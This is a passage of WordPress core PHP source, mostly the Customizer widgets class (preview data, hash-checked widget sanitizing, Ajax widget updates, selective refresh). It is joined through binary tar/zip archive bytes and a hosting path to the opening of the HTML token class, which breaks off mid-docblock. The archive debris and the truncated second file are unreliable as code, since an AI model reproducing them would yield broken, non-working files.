	 * Tells the script loader to load the scripts and styles of custom blocks
	 * if the widgets block editor is enabled.
	 *
	 * @since 5.8.0
	 *
	 * @param bool $is_block_editor_screen Current decision about loading block assets.
	 * @return bool Filtered decision about loading block assets.
	 */
	public function should_load_block_editor_scripts_and_styles( $is_block_editor_screen ) {
		if ( wp_use_widgets_block_editor() ) {
			return true;
		}

		return $is_block_editor_screen;
	}

	/**
	 * When previewing, ensures the proper previewing widgets are used.
	 *
	 * Because wp_get_sidebars_widgets() gets called early at {@see 'init' } (via
	 * wp_convert_widget_settings()) and can set global variable `$_wp_sidebars_widgets`
	 * to the value of `get_option( 'sidebars_widgets' )` before the Customizer preview
	 * filter is added, it has to be reset after the filter has been added.
	 *
	 * @since 3.9.0
	 *
	 * @param array $sidebars_widgets List of widgets for the current sidebar.
	 * @return array
	 */
	public function preview_sidebars_widgets( $sidebars_widgets ) {
		$sidebars_widgets = get_option( 'sidebars_widgets', array() );

		unset( $sidebars_widgets['array_version'] );
		return $sidebars_widgets;
	}

	/**
	 * Enqueues scripts for the Customizer preview.
	 *
	 * @since 3.9.0
	 */
	public function customize_preview_enqueue() {
		wp_enqueue_script( 'customize-preview-widgets' );
	}

	/**
	 * Inserts default style for highlighted widget at early point so theme
	 * stylesheet can override.
	 *
	 * @since 3.9.0
	 */
	public function print_preview_css() {
		?>
		<style>
		.widget-customizer-highlighted-widget {
			outline: none;
			-webkit-box-shadow: 0 0 2px rgba(30, 140, 190, 0.8);
			box-shadow: 0 0 2px rgba(30, 140, 190, 0.8);
			position: relative;
			z-index: 1;
		}
		</style>
		<?php
	}

	/**
	 * Communicates the sidebars that appeared on the page at the very end of the page,
	 * and at the very end of the wp_footer,
	 *
	 * @since 3.9.0
	 *
	 * @global array $wp_registered_sidebars
	 * @global array $wp_registered_widgets
	 */
	public function export_preview_data() {
		global $wp_registered_sidebars, $wp_registered_widgets;

		$switched_locale = switch_to_user_locale( get_current_user_id() );

		$l10n = array(
			'widgetTooltip' => __( 'Shift-click to edit this widget.' ),
		);

		if ( $switched_locale ) {
			restore_previous_locale();
		}

		$rendered_sidebars = array_filter( $this->rendered_sidebars );
		$rendered_widgets  = array_filter( $this->rendered_widgets );

		// Prepare Customizer settings to pass to JavaScript.
		$settings = array(
			'renderedSidebars'            => array_fill_keys( array_keys( $rendered_sidebars ), true ),
			'renderedWidgets'             => array_fill_keys( array_keys( $rendered_widgets ), true ),
			'registeredSidebars'          => array_values( $wp_registered_sidebars ),
			'registeredWidgets'           => $wp_registered_widgets,
			'l10n'                        => $l10n,
			'selectiveRefreshableWidgets' => $this->get_selective_refreshable_widgets(),
		);

		foreach ( $settings['registeredWidgets'] as &$registered_widget ) {
			unset( $registered_widget['callback'] ); // May not be JSON-serializable.
		}
		wp_print_inline_script_tag(
			sprintf( 'var _wpWidgetCustomizerPreviewSettings = %s;', wp_json_encode( $settings, JSON_HEX_TAG | JSON_UNESCAPED_SLASHES ) ) . "\n//# sourceURL=" . rawurlencode( __METHOD__ )
		);
	}

	/**
	 * Tracks the widgets that were rendered.
	 *
	 * @since 3.9.0
	 *
	 * @param array $widget Rendered widget to tally.
	 */
	public function tally_rendered_widgets( $widget ) {
		$this->rendered_widgets[ $widget['id'] ] = true;
	}

	/**
	 * Determine if a widget is rendered on the page.
	 *
	 * @since 4.0.0
	 *
	 * @param string $widget_id Widget ID to check.
	 * @return bool Whether the widget is rendered.
	 */
	public function is_widget_rendered( $widget_id ) {
		return ! empty( $this->rendered_widgets[ $widget_id ] );
	}

	/**
	 * Determines if a sidebar is rendered on the page.
	 *
	 * @since 4.0.0
	 *
	 * @param string $sidebar_id Sidebar ID to check.
	 * @return bool Whether the sidebar is rendered.
	 */
	public function is_sidebar_rendered( $sidebar_id ) {
		return ! empty( $this->rendered_sidebars[ $sidebar_id ] );
	}

	/**
	 * Tallies the sidebars rendered via is_active_sidebar().
	 *
	 * Keep track of the times that is_active_sidebar() is called in the template,
	 * and assume that this means that the sidebar would be rendered on the template
	 * if there were widgets populating it.
	 *
	 * @since 3.9.0
	 *
	 * @param bool   $is_active  Whether the sidebar is active.
	 * @param string $sidebar_id Sidebar ID.
	 * @return bool Whether the sidebar is active.
	 */
	public function tally_sidebars_via_is_active_sidebar_calls( $is_active, $sidebar_id ) {
		if ( is_registered_sidebar( $sidebar_id ) ) {
			$this->rendered_sidebars[ $sidebar_id ] = true;
		}

		/*
		 * We may need to force this to true, and also force-true the value
		 * for 'dynamic_sidebar_has_widgets' if we want to ensure that there
		 * is an area to drop widgets into, if the sidebar is empty.
		 */
		return $is_active;
	}

	/**
	 * Tallies the sidebars rendered via dynamic_sidebar().
	 *
	 * Keep track of the times that dynamic_sidebar() is called in the template,
	 * and assume this means the sidebar would be rendered on the template if
	 * there were widgets populating it.
	 *
	 * @since 3.9.0
	 *
	 * @param bool   $has_widgets Whether the current sidebar has widgets.
	 * @param string $sidebar_id  Sidebar ID.
	 * @return bool Whether the current sidebar has widgets.
	 */
	public function tally_sidebars_via_dynamic_sidebar_calls( $has_widgets, $sidebar_id ) {
		if ( is_registered_sidebar( $sidebar_id ) ) {
			$this->rendered_sidebars[ $sidebar_id ] = true;
		}

		/*
		 * We may need to force this to true, and also force-true the value
		 * for 'is_active_sidebar' if we want to ensure there is an area to
		 * drop widgets into, if the sidebar is empty.
		 */
		return $has_widgets;
	}

	/**
	 * Retrieves MAC for a serialized widget instance string.
	 *
	 * Allows values posted back from JS to be rejected if any tampering of the
	 * data has occurred.
	 *
	 * @since 3.9.0
	 *
	 * @param string $serialized_instance Widget instance.
	 * @return string MAC for serialized widget instance.
	 */
	protected function get_instance_hash_key( $serialized_instance ) {
		return wp_hash( $serialized_instance );
	}

	/**
	 * Sanitizes a widget instance.
	 *
	 * Unserialize the JS-instance for storing in the options. It's important that this filter
	 * only get applied to an instance *once*.
	 *
	 * @since 3.9.0
	 * @since 5.8.0 Added the `$id_base` parameter.
	 *
	 * @global WP_Widget_Factory $wp_widget_factory
	 *
	 * @param array  $value   Widget instance to sanitize.
	 * @param string $id_base Optional. Base of the ID of the widget being sanitized. Default null.
	 * @return array|void Sanitized widget instance.
	 */
	public function sanitize_widget_instance( $value, $id_base = null ) {
		global $wp_widget_factory;

		if ( array() === $value ) {
			return $value;
		}

		if ( isset( $value['raw_instance'] ) && $id_base && wp_use_widgets_block_editor() ) {
			$widget_object = $wp_widget_factory->get_widget_object( $id_base );
			if ( ! empty( $widget_object->widget_options['show_instance_in_rest'] ) ) {
				if ( 'block' === $id_base && ! current_user_can( 'unfiltered_html' ) ) {
					/*
					 * The content of the 'block' widget is not filtered on the fly while editing.
					 * Filter the content here to prevent vulnerabilities.
					 */
					$value['raw_instance']['content'] = wp_kses_post( $value['raw_instance']['content'] );
				}

				return $value['raw_instance'];
			}
		}

		if (
			empty( $value['is_widget_customizer_js_value'] ) ||
			empty( $value['instance_hash_key'] ) ||
			empty( $value['encoded_serialized_instance'] )
		) {
			return;
		}

		$decoded = base64_decode( $value['encoded_serialized_instance'], true );
		if ( false === $decoded ) {
			return;
		}

		if ( ! hash_equals( $this->get_instance_hash_key( $decoded ), $value['instance_hash_key'] ) ) {
			return;
		}

		$instance = unserialize( $decoded );
		if ( false === $instance ) {
			return;
		}

		return $instance;
	}

	/**
	 * Converts a widget instance into JSON-representable format.
	 *
	 * @since 3.9.0
	 * @since 5.8.0 Added the `$id_base` parameter.
	 *
	 * @global WP_Widget_Factory $wp_widget_factory
	 *
	 * @param array  $value   Widget instance to convert to JSON.
	 * @param string $id_base Optional. Base of the ID of the widget being sanitized. Default null.
	 * @return array JSON-converted widget instance.
	 */
	public function sanitize_widget_js_instance( $value, $id_base = null ) {
		global $wp_widget_factory;

		if ( empty( $value['is_widget_customizer_js_value'] ) ) {
			$serialized = serialize( $value );

			$js_value = array(
				'encoded_serialized_instance'   => base64_encode( $serialized ),
				'title'                         => empty( $value['title'] ) ? '' : $value['title'],
				'is_widget_customizer_js_value' => true,
				'instance_hash_key'             => $this->get_instance_hash_key( $serialized ),
			);

			if ( $id_base && wp_use_widgets_block_editor() ) {
				$widget_object = $wp_widget_factory->get_widget_object( $id_base );
				if ( ! empty( $widget_object->widget_options['show_instance_in_rest'] ) ) {
					$js_value['raw_instance'] = (object) $value;
				}
			}

			return $js_value;
		}

		return $value;
	}

	/**
	 * Strips out widget IDs for widgets which are no longer registered.
	 *
	 * One example where this might happen is when a plugin orphans a widget
	 * in a sidebar upon deactivation.
	 *
	 * @since 3.9.0
	 *
	 * @global array $wp_registered_widgets
	 *
	 * @param array $widget_ids List of widget IDs.
	 * @return array Parsed list of widget IDs.
	 */
	public function sanitize_sidebar_widgets_js_instance( $widget_ids ) {
		global $wp_registered_widgets;
		$widget_ids = array_values( array_intersect( $widget_ids, array_keys( $wp_registered_widgets ) ) );
		return $widget_ids;
	}

	/**
	 * Finds and invokes the widget update and control callbacks.
	 *
	 * Requires that `$_POST` be populated with the instance data.
	 *
	 * @since 3.9.0
	 *
	 * @global array $wp_registered_widget_updates
	 * @global array $wp_registered_widget_controls
	 *
	 * @param string $widget_id Widget ID.
	 * @return array|WP_Error Array containing the updated widget information.
	 *                        A WP_Error object, otherwise.
	 */
	public function call_widget_update( $widget_id ) {
		global $wp_registered_widget_updates, $wp_registered_widget_controls;

		$setting_id = $this->get_setting_id( $widget_id );

		/*
		 * Make sure that other setting changes have previewed since this widget
		 * may depend on them (e.g. Menus being present for Navigation Menu widget).
		 */
		if ( ! did_action( 'customize_preview_init' ) ) {
			foreach ( $this->manager->settings() as $setting ) {
				if ( $setting->id !== $setting_id ) {
					$setting->preview();
				}
			}
		}

		$this->start_capturing_option_updates();
		$parsed_id   = $this->parse_widget_id( $widget_id );
		$option_name = 'widget_' . $parsed_id['id_base'];

		/*
		 * If a previously-sanitized instance is provided, populate the input vars
		 * with its values so that the widget update callback will read this instance
		 */
		$added_input_vars = array();
		if ( ! empty( $_POST['sanitized_widget_setting'] ) ) {
			$sanitized_widget_setting = json_decode( $this->get_post_value( 'sanitized_widget_setting' ), true );
			if ( false === $sanitized_widget_setting ) {
				$this->stop_capturing_option_updates();
				return new WP_Error( 'widget_setting_malformed' );
			}

			$instance = $this->sanitize_widget_instance( $sanitized_widget_setting, $parsed_id['id_base'] );
			if ( is_null( $instance ) ) {
				$this->stop_capturing_option_updates();
				return new WP_Error( 'widget_setting_unsanitized' );
			}

			if ( ! is_null( $parsed_id['number'] ) ) {
				$value                         = array();
				$value[ $parsed_id['number'] ] = $instance;
				$key                           = 'widget-' . $parsed_id['id_base'];
				$_REQUEST[ $key ]              = wp_slash( $value );
				$_POST[ $key ]                 = $_REQUEST[ $key ];
				$added_input_vars[]            = $key;
			} else {
				foreach ( $instance as $key => $value ) {
					$_REQUEST[ $key ]   = wp_slash( $value );
					$_POST[ $key ]      = $_REQUEST[ $key ];
					$added_input_vars[] = $key;
				}
			}
		}

		// Invoke the widget update callback.
		foreach ( (array) $wp_registered_widget_updates as $name => $control ) {
			if ( $name === $parsed_id['id_base'] && is_callable( $control['callback'] ) ) {
				ob_start();
				call_user_func_array( $control['callback'], $control['params'] );
				ob_end_clean();
				break;
			}
		}

		// Clean up any input vars that were manually added.
		foreach ( $added_input_vars as $key ) {
			unset( $_POST[ $key ] );
			unset( $_REQUEST[ $key ] );
		}

		// Make sure the expected option was updated.
		if ( 0 !== $this->count_captured_options() ) {
			if ( $this->count_captured_options() > 1 ) {
				$this->stop_capturing_option_updates();
				return new WP_Error( 'widget_setting_too_many_options' );
			}

			$updated_option_name = key( $this->get_captured_options() );
			if ( $updated_option_name !== $option_name ) {
				$this->stop_capturing_option_updates();
				return new WP_Error( 'widget_setting_unexpected_option' );
			}
		}

		// Obtain the widget instance.
		$option = $this->get_captured_option( $option_name );
		if ( null !== $parsed_id['number'] ) {
			$instance = $option[ $parsed_id['number'] ];
		} else {
			$instance = $option;
		}

		/*
		 * Override the incoming $_POST['customized'] for a newly-created widget's
		 * setting with the new $instance so that the preview filter currently
		 * in place from WP_Customize_Setting::preview() will use this value
		 * instead of the default widget instance value (an empty array).
		 */
		$this->manager->set_post_value( $setting_id, $this->sanitize_widget_js_instance( $instance, $parsed_id['id_base'] ) );

		// Obtain the widget control with the updated instance in place.
		ob_start();
		$form = $wp_registered_widget_controls[ $widget_id ];
		if ( $form ) {
			call_user_func_array( $form['callback'], $form['params'] );
		}
		$form = ob_get_clean();

		$this->stop_capturing_option_updates();

		return compact( 'instance', 'form' );
	}

	/**
	 * Updates widget settings asynchronously.
	 *
	 * Allows the Customizer to update a widget using its form, but return the new
	 * instance info via Ajax instead of saving it to the options table.
	 *
	 * Most code here copied from wp_ajax_save_widget().
	 *
	 * @since 3.9.0
	 *
	 * @see wp_ajax_save_widget()
	 */
	public function wp_ajax_update_widget() {

		if ( ! is_user_logged_in() ) {
			wp_die( 0 );
		}

		check_ajax_referer( 'update-widget', 'nonce' );

		if ( ! current_user_can( 'edit_theme_options' ) ) {
			wp_die( -1 );
		}

		if ( empty( $_POST['widget-id'] ) ) {
			wp_send_json_error( 'missing_widget-id' );
		}

		/** This action is documented in wp-admin/includes/ajax-actions.php */
		do_action( 'load-widgets.php' ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores

		/** This action is documented in wp-admin/includes/ajax-actions.php */
		do_action( 'widgets.php' ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores

		/** This action is documented in wp-admin/widgets.php */
		do_action( 'sidebar_admin_setup' );

		$widget_id = $this->get_post_value( 'widget-id' );
		$parsed_id = $this->parse_widget_id( $widget_id );
		$id_base   = $parsed_id['id_base'];

		$is_updating_widget_template = (
			isset( $_POST[ 'widget-' . $id_base ] )
			&&
			is_array( $_POST[ 'widget-' . $id_base ] )
			&&
			preg_match( '/__i__|%i%/', key( $_POST[ 'widget-' . $id_base ] ) )
		);
		if ( $is_updating_widget_template ) {
			wp_send_json_error( 'template_widget_not_updatable' );
		}

		$updated_widget = $this->call_widget_update( $widget_id ); // => {instance,form}
		if ( is_wp_error( $updated_widget ) ) {
			wp_send_json_error( $updated_widget->get_error_code() );
		}

		$form     = $updated_widget['form'];
		$instance = $this->sanitize_widget_js_instance( $updated_widget['instance'], $id_base );

		wp_send_json_success( compact( 'form', 'instance' ) );
	}

	/*
	 * Selective Refresh Methods
	 */

	/**
	 * Filters arguments for dynamic widget partials.
	 *
	 * @since 4.5.0
	 *
	 * @param array|false $partial_args Partial arguments.
	 * @param string      $partial_id   Partial ID.
	 * @return array (Maybe) modified partial arguments.
	 */
	public function customize_dynamic_partial_args( $partial_args, $partial_id ) {
		if ( ! current_theme_supports( 'customize-selective-refresh-widgets' ) ) {
			return $partial_args;
		}

		if ( preg_match( '/^widget\[(?P<widget_id>.+)\]$/', $partial_id, $matches ) ) {
			if ( false === $partial_args ) {
				$partial_args = array();
			}
			$partial_args = array_merge(
				$partial_args,
				array(
					'type'                => 'widget',
					'render_callback'     => array( $this, 'render_widget_partial' ),
					'container_inclusive' => true,
					'settings'            => array( $this->get_setting_id( $matches['widget_id'] ) ),
					'capability'          => 'edit_theme_options',
				)
			);
		}

		return $partial_args;
	}

	/**
	 * Adds hooks for selective refresh.
	 *
	 * @since 4.5.0
	 */
	public function selective_refresh_init() {
		if ( ! current_theme_supports( 'customize-selective-refresh-widgets' ) ) {
			return;
		}
		add_filter( 'dynamic_sidebar_params', array( $this, 'filter_dynamic_sidebar_params' ) );
		add_filter( 'wp_kses_allowed_html', array( $this, 'filter_wp_kses_allowed_data_attributes' ) );
		add_action( 'dynamic_sidebar_before', array( $this, 'start_dynamic_sidebar' ) );
		add_action( 'dynamic_sidebar_after', array( $this, 'end_dynamic_sidebar' ) );
	}

	/**
	 * Inject selective refresh data attributes into widget container elements.
	 *
	 * @since 4.5.0
	 *
	 * @see WP_Customize_Nav_Menus::filter_wp_nav_menu_args()
	 *
	 * @param array $params {
	 *     Dynamic sidebar params.
	 *
	 *     @type array $args        Sidebar args.
	 *     @type array $widget_args Widget args.
	 * }
	 * @return array Params.
	 */
	public function filter_dynamic_sidebar_params( $params ) {
		$sidebar_args = array_merge(
			array(
				'before_widget' => '',
				'after_widget'  => '',
			),
			$params[0]
		);

		// Skip widgets not in a registered sidebar or ones which lack a proper wrapper element to attach the data-* attributes to.
		$matches  = array();
		$is_valid = (
			isset( $sidebar_args['id'] )
			&&
			is_registered_sidebar( $sidebar_args['id'] )
			&&
			( isset( $this->current_dynamic_sidebar_id_stack[0] ) && $this->current_dynamic_sidebar_id_stack[0] === $sidebar_args['id'] )
			&&
			preg_match( '#^<(?P<tag_name>\w+)#', $sidebar_args['before_widget'], $matches )
		);
		if ( ! $is_valid ) {
			return $params;
		}
		$this->before_widget_tags_seen[ $matches['tag_name'] ] = true;

		$context = array(
			'sidebar_id' => $sidebar_args['id'],
		);
		if ( isset( $this->context_sidebar_instance_number ) ) {
			$context['sidebar_instance_number'] = $this->context_sidebar_instance_number;
		} elseif ( isset( $sidebar_args['id'] ) && isset( $this->sidebar_instance_count[ $sidebar_args['id'] ] ) ) {
			$context['sidebar_instance_number'] = $this->sidebar_instance_count[ $sidebar_args['id'] ];
		}

		$attributes                    = sprintf( ' data-customize-partial-id="%s"', esc_attr( 'widget[' . $sidebar_args['widget_id'] . ']' ) );
		$attributes                   .= ' data-customize-partial-type="widget"';
		$attributes                   .= sprintf( ' data-customize-partial-placement-context="%s"', esc_attr( wp_json_encode( $context ) ) );
		$attributes                   .= sprintf( ' data-customize-widget-id="%s"', esc_attr( $sidebar_args['widget_id'] ) );
		$sidebar_args['before_widget'] = preg_replace( '#^(<\w+)#', '$1 ' . $attributes, $sidebar_args['before_widget'] );

		$params[0] = $sidebar_args;
		return $params;
	}

	/**
	 * List of the tag names seen for before_widget strings.
	 *
	 * This is used in the {@see 'filter_wp_kses_allowed_html'} filter to ensure that the
	 * data-* attributes can be allowed.
	 *
	 * @since 4.5.0
	 * @var array
	 */
	protected $before_widget_tags_seen = array();

	/**
	 * Ensures the HTML data-* attributes for selective refresh are allowed by kses.
	 *
	 * This is needed in case the `$before_widget` is run through wp_kses() when printed.
	 *
	 * @since 4.5.0
	 *
	 * @param array $allowed_html Allowed HTML.
	 * @return array (Maybe) modified allowed HTML.
	 */
	public function filter_wp_kses_allowed_data_attributes( $allowed_html ) {
		foreach ( array_keys( $this->before_widget_tags_seen ) as $tag_name ) {
			if ( ! isset( $allowed_html[ $tag_name ] ) ) {
				$allowed_html[ $tag_name ] = array();
			}
			$allowed_html[ $tag_name ] = array_merge(
				$allowed_html[ $tag_name ],
				array_fill_keys(
					array(
						'data-customize-partial-id',
						'data-customize-partial-type',
						'data-customize-partial-placement-context',
						'data-customize-partial-widget-id',
						'data-customize-partial-options',
					),
					true
				)
			);
		}
		return $allowed_html;
	}

	/**
	 * Keep track of the number of times that dynamic_sidebar() was called for a given sidebar index.
	 *
	 * This helps facilitate the uncommon scenario where a single sidebar is rendered multiple times on a template.
	 *
	 * @since 4.5.0
	 * @var array
	 */
	protected $sidebar_instance_count = array();

	/**
	 * The current request's sidebar_instance_number context.
	 *
	 * @since 4.5.0
	 * @var int|null
	 */
	protected $context_sidebar_instance_number;

	/**
	 * Current sidebar ID being rendered.
	 *
	 * @since 4.5.0
	 * @var array
	 */
	protected $current_dynamic_sidebar_id_stack = array();

	/**
	 * Begins keeping track of the current sidebar being rendered.
	 *
	 * Insert marker before widgets are rendered in a dynamic sidebar.
	 *
	 * @since 4.5.0
	 *
	 * @param int|string $index Index, name, or ID of the dynamic sidebar.
	 */
	public function start_dynamic_sidebar( $index ) {
		array_unshift( $this->current_dynamic_sidebar_id_stack, $index );
		if ( ! isset( $this->sidebar_instance_count[ $index ] ) ) {
			$this->sidebar_instance_count[ $index ] = 0;
		}
		$this->sidebar_instance_count[ $index ] += 1;
		if ( ! $this->manager->selective_refresh->is_render_partials_request() ) {
			printf( "\n<!--dynamic_sidebar_before:%s:%d-->\n", esc_html( $index ), (int) $this->sidebar_instance_count[ $index ] );
		}
	}

	/**
	 * Finishes keeping track of the current sidebar being rendered.
	 *
	 * Inserts a marker after widgets are rendered in a dynamic sidebar.
	 *
	 * @since 4.5.0
	 *
	 * @param int|string $index Index, name, or ID of the dynamic sidebar.
	 */
	public function end_dynamic_sidebar( $index ) {
		array_shift( $this->current_dynamic_sidebar_id_stack );
		if ( ! $this->manager->selective_refresh->is_render_partials_request() ) {
			printf( "\n<!--dynamic_sidebar_after:%s:%d-->\n", esc_html( $index ), (int) $this->sidebar_instance_count[ $index ] );
		}
	}

	/**
	 * Current sidebar being rendered.
	 *
	 * @since 4.5.0
	 * @var string|null
	 */
	protected $rendering_widget_id;

	/**
	 * Current widget being rendered.
	 *
	 * @since 4.5.0
	 * @var string|null
	 */
	protected $rendering_sidebar_id;

	/**
	 * Filters sidebars_widgets to ensure the currently-rendered widget is the only widget in the current sidebar.
	 *
	 * @since 4.5.0
	 *
	 * @param array $sidebars_widgets Sidebars widgets.
	 * @return array Filtered sidebars widgets.
	 */
	public function filter_sidebars_widgets_for_rendering_widget( $sidebars_widgets ) {
		$sidebars_widgets[ $this->rendering_sidebar_id ] = array( $this->rendering_widget_id );
		return $sidebars_widgets;
	}

	/**
	 * Renders a specific widget using the supplied sidebar arguments.
	 *
	 * @since 4.5.0
	 *
	 * @see dynamic_sidebar()
	 *
	 * @param WP_Customize_Partial $partial Partial.
	 * @param array                $context {
	 *     Sidebar args supplied as container context.
	 *
	 *     @type string $sidebar_id              ID for sidebar for widget to render into.
	 *     @type int    $sidebar_instance_number Disambiguating instance number.
	 * }
	 * @return string|false
	 */
	public function render_widget_partial( $partial, $context ) {
		$id_data   = $partial->id_data();
		$widget_id = array_shift( $id_data['keys'] );

		if ( ! is_array( $context )
			|| empty( $context['sidebar_id'] )
			|| ! is_registered_sidebar( $context['sidebar_id'] )
		) {
			return false;
		}

		$this->rendering_sidebar_id = $context['sidebar_id'];

		if ( isset( $context['sidebar_instance_number'] ) ) {
			$this->context_sidebar_instance_number = (int) $context['sidebar_instance_number'];
		}

		// Filter sidebars_widgets so that only the queried widget is in the sidebar.
		$this->rendering_widget_id = $widget_id;

		$filter_callback = array( $this, 'filter_sidebars_widgets_for_rendering_widget' );
		add_filter( 'sidebars_widgets', $filter_callback, 1000 );

		// Render the widget.
		ob_start();
		$this->rendering_sidebar_id = $context['sidebar_id'];
		dynamic_sidebar( $this->rendering_sidebar_id );
		$container = ob_get_clean();

		// Reset variables for next partial render.
		remove_filter( 'sidebars_widgets', $filter_callback, 1000 );

		$this->context_sidebar_instance_number = null;
		$this->rendering_sidebar_id            = null;
		$this->rendering_widget_id             = null;

		return $container;
	}

	//
	// Option Update Capturing.
	//

	/**
	 * List of captured widget option updates.
	 *
	 * @since 3.9.0
	 * @var array $_captured_options Values updated while option capture is happening.
	 */
	protected $_captured_options = array();

	/**
	 * Whether option capture is currently happening.
	 *
	 * @since 3.9.0
	 * @var bool $_is_current Whether option capture is currently happening or not.
	 */
	protected $_is_capturing_option_updates = false;

	/**
	 * Determines whether the captured option update should be ignored.
	 *
	 * @since 3.9.0
	 *
	 * @param string $option_name Option name.
	 * @return bool Whether the option capture is ignored.
	 */
	protected function is_option_capture_ignored( $option_name ) {
		return ( str_starts_with( $option_name, '_transient_' ) );
	}

	/**
	 * Retrieves captured widget option updates.
	 *
	 * @since 3.9.0
	 *
	 * @return array Array of captured options.
	 */
	protected function get_captured_options() {
		return $this->_captured_options;
	}

	/**
	 * Retrieves the option that was captured from being saved.
	 *
	 * @since 4.2.0
	 *
	 * @param string $option_name   Option name.
	 * @param mixed  $default_value Optional. Default value to return if the option does not exist. Default false.
	 * @return mixed Value set for the option.
	 */
	protected function get_captured_option( $option_name, $default_value = false ) {
		if ( array_key_exists( $option_name, $this->_captured_options ) ) {
			$value = $this->_captured_options[ $option_name ];
		} else {
			$value = $default_value;
		}
		return $value;
	}

	/**
	 * Retrieves the number of captured widget option updates.
	 *
	 * @since 3.9.0
	 *
	 * @return int Number of updated options.
	 */
	protected function count_captured_options() {
		return count( $this->_captured_options );
	}

	/**
	 * Begins keeping track of changes to widget options, caching new values.
	 *
	 * @since 3.9.0
	 */
	protected function start_capturing_option_updates() {
		if ( $this->_is_capturing_option_updates ) {
			return;
		}

		$this->_is_capturing_option_updates = true;

		add_filter( 'pre_update_option', array( $this, 'capture_filter_pre_update_option' ), 10, 3 );
	}

	/**
	 * Pre-filters captured option values before updating.
	 *
	 * @since 3.9.0
	 *
	 * @param mixed  $new_value   The new option value.
	 * @param string $option_name Name of the option.
	 * @param mixed  $old_value   The old option value.
	 * @return mixed Filtered option value.
	 */
	public function capture_filter_pre_update_option( $new_value, $option_name, $old_value ) {
		if ( $this->is_option_capture_ignored( $option_name ) ) {
			return $new_value;
		}

		if ( ! isset( $this->_captured_options[ $option_name ] ) ) {
			add_filter( "pre_option_{$option_name}", array( $this, 'capture_filter_pre_get_option' ) );
		}

		$this->_captured_options[ $option_name ] = $new_value;

		return $old_value;
	}

	/**
	 * Pre-filters captured option values before retrieving.
	 *
	 * @since 3.9.0
	 *
	 * @param mixed $value Value to return instead of the option value.
	 * @return mixed Filtered option value.
	 */
	public function capture_filter_pre_get_option( $value ) {
		$option_name = preg_replace( '/^pre_option_/', '', current_filter() );

		if ( isset( $this->_captured_options[ $option_name ] ) ) {
			$value = $this->_captured_options[ $option_name ];

			/** This filter is documented in wp-includes/option.php */
			$value = apply_filters( 'option_' . $option_name, $value, $option_name );
		}

		return $value;
	}

	/**
	 * Undoes any changes to the options since options capture began.
	 *
	 * @since 3.9.0
	 */
	protected function stop_capturing_option_updates() {
		if ( ! $this->_is_capturing_option_updates ) {
			return;
		}

		remove_filter( 'pre_update_option', array( $this, 'capture_filter_pre_update_option' ), 10 );

		foreach ( array_keys( $this->_captured_options ) as $option_name ) {
			remove_filter( "pre_option_{$option_name}", array( $this, 'capture_filter_pre_get_option' ) );
		}

		$this->_captured_options            = array();
		$this->_is_capturing_option_updates = false;
	}

	/**
	 * {@internal Missing Summary}
	 *
	 * See the {@see 'customize_dynamic_setting_args'} filter.
	 *
	 * @since 3.9.0
	 * @deprecated 4.2.0 Deprecated in favor of the {@see 'customize_dynamic_setting_args'} filter.
	 */
	public function setup_widget_addition_previews() {
		_deprecated_function( __METHOD__, '4.2.0', 'customize_dynamic_setting_args' );
	}

	/**
	 * {@internal Missing Summary}
	 *
	 * See the {@see 'customize_dynamic_setting_args'} filter.
	 *
	 * @since 3.9.0
	 * @deprecated 4.2.0 Deprecated in favor of the {@see 'customize_dynamic_setting_args'} filter.
	 */
	public function prepreview_added_sidebars_widgets() {
		_deprecated_function( __METHOD__, '4.2.0', 'customize_dynamic_setting_args' );
	}

	/**
	 * {@internal Missing Summary}
	 *
	 * See the {@see 'customize_dynamic_setting_args'} filter.
	 *
	 * @since 3.9.0
	 * @deprecated 4.2.0 Deprecated in favor of the {@see 'customize_dynamic_setting_args'} filter.
	 */
	public function prepreview_added_widget_instance() {
		_deprecated_function( __METHOD__, '4.2.0', 'customize_dynamic_setting_args' );
	}

	/**
	 * {@internal Missing Summary}
	 *
	 * See the {@see 'customize_dynamic_setting_args'} filter.
	 *
	 * @since 3.9.0
	 * @deprecated 4.2.0 Deprecated in favor of the {@see 'customize_dynamic_setting_args'} filter.
	 */
	public function remove_prepreview_filters() {
		_deprecated_function( __METHOD__, '4.2.0', 'customize_dynamic_setting_args' );
	}
}
PKYO\��J�10/class-wp-html-token.php.tarnu�[���home/homerdlh/public_html/wp-includes/html-api/class-wp-html-token.php000064400000006522151440277720022105 0ustar00<?php
/**
 * HTML API: WP_HTML_Token class
 *
 * @package WordPress
 * @subpackage HTML-API
 * @since 6.4.0
 */

/**
 * Core class used by the HTML processor during HTML parsing
 * for referring to tokens in the input HTML string.
 *
 * This class is designed for internal use by the HTML processor.
 *
 * @since 6.4.0
 *
 * @access private
 *
 * @see WP_HTML_Processor
 */
class WP_HTML_Token {
	/**
	 * Name of bookmark corresponding to source of token in input HTML string.
	 *
	 * Having a bookmark name does not imply that the token still exists. It
	 * may be that the source token and underlying bookmark was wiped out by
	 * some modification to the source HTML.
	 *
	 * @since 6.4.0
	 *
	 * @var string
	 */
	public $bookmark_name = null;

	/**
	 * Name of node; lowercase names such as "marker" are not HTML elements.
	 *
	 * For HTML elements/tags this value should come from WP_HTML_Processor::get_tag().
	 *
	 * @since 6.4.0
	 *
	 * @see WP_HTML_Processor::get_tag()
	 *
	 * @var string
	 */
	public $node_name = null;

	/**
	 * Whether node contains the self-closing flag.
	 *
	 * A node may have a self-closing flag when it shouldn't. This value
	 * only reports if the flag is present in the original HTML.
	 *
	 * @since 6.4.0
	 *
	 * @see https://html.spec.whatwg.org/#self-closing-flag
	 *
	 * @var bool
	 */
	public $has_self_closing_flag = false;

	/**
	 * Indicates if the element is an HTML element or if it's inside foreign content.
	 *
	 * @since 6.7.0
	 *
	 * @var string 'html', 'svg', or 'math'.
	 */
	public $namespace = 'html';

	/**
	 * Indicates which kind of integration point the element is, if any.
	 *
	 * @since 6.7.0
	 *
	 * @var string|null 'math', 'html', or null if not an integration point.
	 */
	public $integration_node_type = null;

	/**
	 * Called when token is garbage-collected or otherwise destroyed.
	 *
	 * @var callable|null
	 */
	public $on_destroy = null;

	/**
	 * Constructor - creates a reference to a token in some external HTML string.
	 *
	 * @since 6.4.0
	 *
	 * @param string|null   $bookmark_name         Name of bookmark corresponding to location in HTML where token is found,
	 *                                             or `null` for markers and nodes without a bookmark.
	 * @param string        $node_name             Name of node token represents; if uppercase, an HTML element; if lowercase, a special value like "marker".
	 * @param bool          $has_self_closing_flag Whether the source token contains the self-closing flag, regardless of whether it's valid.
